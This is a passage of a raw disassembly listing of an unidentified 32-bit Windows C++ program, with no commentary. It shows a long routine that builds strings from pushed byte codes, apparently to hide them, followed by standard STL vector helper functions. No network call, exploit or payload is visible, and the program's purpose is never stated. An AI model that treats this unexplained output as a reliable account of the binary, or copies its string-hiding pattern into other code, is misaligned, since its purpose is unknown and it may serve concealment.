push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3CCh], 36h push 13h lea eax, [esp+8Ch] push eax call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 37h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0F11h] mov byte ptr [esp+388h], 38h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+84h] push 13h push edx mov byte ptr [esp+3D0h], 39h call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 3Ah call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+107Eh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 3Bh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+10h] mov [esp+10h], edi push ecx mov ecx, offset byte_4D637F call sub_401A5F lea ecx, [esp+0B0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 3Ch call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Dh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1234h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 3Eh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 mov byte ptr [esp+3B4h], 3Fh push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 40h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+127Dh] mov ecx, esi push edx mov byte ptr [esp+38Ch], 41h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+188h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 42h call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 43h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+11EBh] mov byte ptr [esp+388h], 44h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx mov byte ptr [esp+3CCh], 45h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 46h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+11A2h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 47h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h mov byte ptr [esp+3C0h], 48h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 49h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+38Ch], 4Ah call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0C8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 4Bh call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 4Ch call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1159h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 4Dh call sub_401CC1 ; --------------------------------------------------------------------------- mov [esp+358h], bl lea ecx, [esp+14h] call sub_401226 lea ecx, [esp+44h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+84h] push 13h push ecx mov byte ptr [esp+3D0h], 4Eh call sub_4019B5 add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 4Fh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+12C6h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 50h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea eax, [esp+10h] mov ecx, offset byte_4D637F push eax mov [esp+14h], edi call sub_401A5F push offset byte_446F60 push offset word_4E6E8A call sub_40102D add esp, 8 lea ecx, [esp+230h] call sub_401424 lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401424 push 56D2h push 539h mov byte ptr [esp+360h], 52h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 lea ecx, [esp+230h] push eax push offset dword_4437F4 push ecx call sub_40102D push 56D2h push 539h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 14h lea edx, [esp+260h] push eax push offset dword_4437F4 push edx call sub_40102D sub esp, 0Ch lea eax, [esp+44h] mov ecx, esp mov [esp+24h], esp push eax call sub_4014C9 lea ecx, [esi+606h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+805h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+84Eh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+897h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+450h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+499h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp lea edx, [esp+44h] mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+574h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+44h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+5Ch] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+278h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+230h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+407h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+1E8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+2A8h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+698h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp lea edx, [esp+2C0h] push edx call sub_4014C9 lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+290h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+128h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+773h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+158h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+7BCh] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h mov ecx, esp mov [esp+24h], esp push offset word_4E6E8A call sub_4014C9 lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+170h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+140h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+188h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+248h] mov ecx, esp mov [esp+24h], esp push edx call sub_4014C9 lea eax, [esi+375h] mov ecx, esi push eax call sub_401B2C ; --------------------------------------------------------------------------- push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 16Dh call sub_4017E4 push eax push offset byte_44741D mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 1B6h call sub_4017E4 push eax push offset dword_4473D4 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] call sub_4017E4 push eax push offset dword_4472B0 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 124h call sub_4017E4 push eax push offset word_447342 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 0DBh call sub_4017E4 push eax push offset byte_4472F9 mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 92h call sub_4017E4 push eax push offset byte_44738B mov ecx, offset word_448D06 call sub_401596 push 0 mov ecx, offset byte_4D637F call sub_40146A mov ecx, [eax] add ecx, 1FFh call sub_4017E4 push eax push offset byte_4474AF mov ecx, offset word_448D06 call sub_401596 lea ecx, [esp+248h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 lea ecx, [esp+218h] mov byte ptr [esp+370h], 53h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+8Ch], esp push eax call sub_401861 lea ecx, [esp+110h] mov byte ptr [esp+388h], 54h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0A8h], esp push eax call sub_401861 lea ecx, [esp+140h] mov byte ptr [esp+3A0h], 55h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+0C4h], esp push eax call sub_401861 mov ecx, offset word_448C8E mov byte ptr [esp+3B8h], 52h call sub_40137F ; --------------------------------------------------------------------------- lea ecx, [esp+260h] mov byte ptr [esp+358h], 51h call sub_401226 lea ecx, [esp+230h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_401226 lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_401226 lea ecx, [esp+278h] mov byte ptr [esp+358h], 1Bh call sub_401226 lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 1Ah call sub_401226 lea ecx, [esp+110h] mov byte ptr [esp+358h], 19h call sub_401226 lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 18h call sub_401226 lea ecx, [esp+140h] mov byte ptr [esp+358h], 17h call sub_401226 lea ecx, [esp+290h] mov byte ptr [esp+358h], 16h call sub_401226 lea ecx, [esp+170h] mov byte ptr [esp+358h], 15h call sub_401226 lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 14h call sub_401226 lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 13h call sub_401226 lea ecx, [esp+218h] mov byte ptr [esp+358h], 12h call sub_401226 lea ecx, [esp+1D0h] mov byte ptr [esp+358h], 11h call sub_401226 lea ecx, [esp+248h] mov byte ptr [esp+358h], 10h call sub_401226 lea ecx, [esp+200h] mov byte ptr [esp+358h], 0Fh call sub_401226 lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 0Eh call sub_401226 lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 0Dh call sub_401226 lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ch call sub_401226 lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Bh call sub_401226 lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Ah call sub_401226 lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_401226 lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_401226 lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_401226 lea ecx, [esp+128h] mov byte ptr [esp+358h], 6 call sub_401226 lea ecx, [esp+158h] mov byte ptr [esp+358h], 5 call sub_401226 lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 4 call sub_401226 lea ecx, [esp+98h] mov byte ptr [esp+358h], 3 call sub_401226 lea ecx, [esp+188h] mov byte ptr [esp+358h], 2 call sub_401226 lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 1 call sub_401226 lea ecx, [esp+80h] mov byte ptr [esp+358h], 0 call sub_401226 lea ecx, [esp+1E8h] mov dword ptr [esp+358h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+350h] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn ; --------------------------------------------------------------------------- db 5C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409450 proc near ; CODE XREF: sub_40146Aj arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_401974 mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_409468 mov ecx, esi call sub_40190B ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_409450+Fj mov ecx, esi call sub_401A37 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_409450 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_401A5Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40128A push eax mov ecx, esi call sub_40168B pop esi retn 4 sub_409490 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094C0 proc near ; CODE XREF: sub_401A37j mov eax, [ecx+4] retn sub_4094C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094E0 proc near ; CODE XREF: sub_40128Aj mov eax, [ecx+8] retn sub_4094E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409500 proc near ; CODE XREF: sub_401974j mov edx, [ecx+4] test edx, edx jnz short loc_40950A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40950A: ; CODE XREF: sub_409500+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409500 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_40168Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401A37 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401B9A mov ecx, edi call sub_401A37 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409530 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409580 proc near ; CODE XREF: sub_40190Bj var_40 = byte ptr -40h var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_C = dword ptr -0Ch push 0FFFFFFFFh push offset SEH_409580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3Ch+var_39] lea ecx, [esp+3Ch+var_38] push eax push offset aInvalidVectorT ; "invalid vector<T> subscript" nop call near ptr 76081F67h lea ecx, [esp+44h+var_40] mov [esp+44h+var_C], 0 push ecx lea ecx, [esp+48h+var_30] call near ptr 760A0430h nop lea edx, [esp+48h+var_34] push offset dword_43F080 push edx call sub_436832 sub_409580 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_4096CB mov ecx, esi call sub_401974 cmp edi, eax jnb short loc_409633 mov ecx, esi call sub_401974 mov ebp, eax jmp short loc_409635 ; --------------------------------------------------------------------------- loc_409633: ; CODE XREF: sub_409600+26j mov ebp, edi loc_409635: ; CODE XREF: sub_409600+31j mov ecx, esi call sub_401974 mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401CAD ; --------------------------------------------------------------------------- mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_4016D6 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401177 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_40170D mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_401974 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4096CB: ; CODE XREF: sub_409600+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409729 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4016D6 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401177 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401F96 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409729: ; CODE XREF: sub_409600+D8j test edi, edi jbe short loc_409763 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4016D6 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401CCB mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401F96 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_409763: ; CODE XREF: sub_409600+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097D0 proc near ; CODE XREF: sub_40170Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_4097F0 loc_4097E1: ; CODE XREF: sub_4097D0+1Ej push esi mov ecx, edi call sub_402072 add esi, 4 cmp esi, ebx jnz short loc_4097E1 loc_4097F0: ; CODE XREF: sub_4097D0+Fj pop edi pop esi pop ebx retn 8 sub_4097D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_409810 proc near ; CODE XREF: sub_401294j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_409810 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409830 proc near ; CODE XREF: sub_402072j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_7 pop ecx retn 4 sub_409830 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409850 proc near ; CODE XREF: sub_4016D6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_409882 push edi mov edi, [esp+10h+arg_8] loc_409866: ; CODE XREF: sub_409850+27j push esi push edi mov ecx, ebx call sub_4015AA add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_409866 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409882: ; CODE XREF: sub_409850+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_409850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4098A0 proc near ; CODE XREF: sub_401177j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_4098C7 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_4098B6: ; CODE XREF: sub_4098A0+23j push ebx push esi mov ecx, ebp call sub_4015AA add esi, 4 dec edi jnz short loc_4098B6 pop esi pop ebx loc_4098C7: ; CODE XREF: sub_4098A0+Aj pop edi pop ebp retn 0Ch sub_4098A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4098E0 proc near ; CODE XREF: sub_401CADj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40203B sub_4098E0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409910 proc near ; CODE XREF: sub_4015AAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401145 add esp, 8 retn 8 sub_409910 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409940 proc near ; CODE XREF: sub_401F96j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40995D mov edx, [esp+arg_8] push esi loc_409951: ; CODE XREF: sub_409940+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_409951 pop esi locret_40995D: ; CODE XREF: sub_409940+Aj retn sub_409940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409970 proc near ; CODE XREF: sub_401CCBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_409992 mov eax, [esp+arg_8] push esi loc_409981: ; CODE XREF: sub_409970+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_409981 pop esi retn ; --------------------------------------------------------------------------- loc_409992: ; CODE XREF: sub_409970+Aj mov eax, [esp+arg_8] retn sub_409970 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4099D0 proc near ; CODE XREF: sub_40203Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4099DA xor eax, eax loc_4099DA: ; CODE XREF: sub_4099D0+6j shl eax, 2 push eax call sub_4367FA sub_4099D0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401145j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_409A1B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_409A1B: ; CODE XREF: sub_409A00+11j retn sub_409A00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A30 proc near ; CODE XREF: sub_401979j arg_0 = dword ptr 4 mov al, byte_44718A push esi test al, al mov esi, ecx jz short loc_409A66 push edi nop call near ptr 28218E9h mov edi, dword_50F8C4 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A66: ; CODE XREF: sub_409A30+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409A30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AA0 proc near ; CODE XREF: sub_401CDAj mov al, byte_44718A push esi test al, al mov esi, ecx jz short loc_409ABF call near ptr 2821C1Bh nop mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_409ABF: ; CODE XREF: sub_409AA0+Aj mov byte ptr [esi+8], 0 